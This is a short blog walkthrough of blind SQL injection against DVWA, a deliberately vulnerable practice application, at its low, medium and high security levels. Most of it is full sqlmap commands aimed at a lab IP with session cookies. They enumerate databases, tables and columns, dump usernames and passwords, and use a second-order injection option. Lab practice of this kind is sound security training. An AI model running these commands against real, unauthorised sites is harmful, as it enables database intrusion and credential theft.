DVWA Blind SQL Injection&Using of SQLMAP

DVWA Blind SQL Injection&Using of SQLMAP

  • Low Level(Get method)
  1. First, We can figure out it sent data by the GET method.

  1. Based on the method, run sqlmap -u "http://192.168.252.134/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=80u447f280crkqbtniqod6fq30" --dbs. cookie that you can find by intercepting. The last parameter tells sqlmap we wanna know the type of database the website using.

  1. run sqlmap -u "http://192.168.252.134/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=80u447f280crkqbtniqod6fq30" -D dvwa --tables. Let's get the tables in database, dvwa.

  1. then we get the tables in dvwa. Next, we need to find out what the columns they have in the tables. run sqlmap -u "http://192.168.252.134/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=80u447f280crkqbtniqod6fq30" -D dvwa -T users --columns.

  1. run sqlmap -u "http://192.168.252.134/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=80u447f280crkqbtniqod6fq30" -D dvwa -T users -C user,password --dump. Parameter dump means list them all once.

  • Medium Level(Post method)
  1. How do you know immediately that it sends messages by Post? Because nothing changes after you click the Submit button.

  1. Open burpsuite and note down the parameters and cookies. Run sqlmap -u "http://192.168.252.134/DVWA/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=80u447f280crkqbtniqod6fq30" --data="id=1&Submit=Submit" --dbs.


  1. else are the same actions with low level
  • High Level(Second Order SQL Injection)

IN this Level, Its feature is that you query on a page and get results on another page.

run sqlmap -u "http://192.168.252.134/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=80u447f280crkqbtniqod6fq30" --second-url "http://192.168.252.134/dvwa/vulnerabilities/sqli/" --dbs

posted @ 2020-10-07 22:30  咕咕鸟GGA  阅读(168)  评论(0)    收藏  举报